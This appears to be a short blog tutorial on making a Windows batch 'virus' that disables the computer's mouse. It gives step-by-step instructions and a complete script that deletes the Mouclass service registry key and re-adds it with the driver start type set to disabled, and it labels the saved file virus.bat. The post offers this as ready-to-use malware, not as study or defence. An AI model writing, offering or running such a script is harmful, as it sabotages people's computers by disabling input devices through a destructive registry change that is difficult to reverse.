I had previously posted on making different batch files like completely harmless but today we will be making a batch virus which is harm-full it will disable your mouse so think before trying it on yourself.
How To Disable Mouse
1. Open Notepad and copy below codesrem ---------------------------------2. Save this file as virus.bat
rem Disable Mouse
set key="HKEY_LOCAL_MACHINE\system\CurrentControlSet\Services\Mouclass"
reg delete %key%
reg add %key% /v Start /t REG_DWORD /d 4
rem ---------------------------------
3. Done you just created your virus.